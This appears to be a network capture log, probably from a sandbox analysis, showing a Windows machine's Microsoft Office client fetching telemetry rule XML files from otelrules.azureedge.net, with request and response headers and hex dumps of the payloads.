Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fedb0772-f01e-005d-52de-3b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213433Z-r1d97b99577tssmjhC1TEB8kan0000000at000000000n50d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:34 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:34 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: df4f394c-601e-0002-2a39-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213434Z-178bfbc474bbcwv4hC1NYCypys00000001v000000000r90z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:34 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:34 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:34 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213434Z-174c587ffdfmlsmvhC1TEBvyks00000000ng00000000gupp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:34 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213434Z-15b8b599d8885prmhC1TEBsnkw00000000q0000000006c9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:35 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:35 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e7fd51b1-801e-0067-1163-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213435Z-178bfbc474bmqmgjhC1NYCy16c00000002600000000059ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:35 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:35 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:36 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:36 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213436Z-174c587ffdfcj798hC1TEB9bq400000000p000000000hv6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:36 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:36 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:36 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:36 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213436Z-178bfbc474bxkclvhC1NYC69g4000000022g0000000012hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:36 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:36 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:36 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213436Z-178bfbc474bh5zbqhC1NYCkdug00000001xg00000000r6mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:36 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:37 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213437Z-178bfbc474bscnbchC1NYCe7eg000000027000000000bz17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:37 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:37 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:37 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213437Z-178bfbc474bwh9gmhC1NYCy3rs000000021g00000000uk5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:37 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:37 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:38 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213438Z-178bfbc474bnwsh4hC1NYC2ubs0000000260000000004196 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:38 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:39 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: aa1ebe18-101e-0017-5340-3c47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213438Z-15b8b599d885ffrhhC1TEBtuv000000000gg00000000b47h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

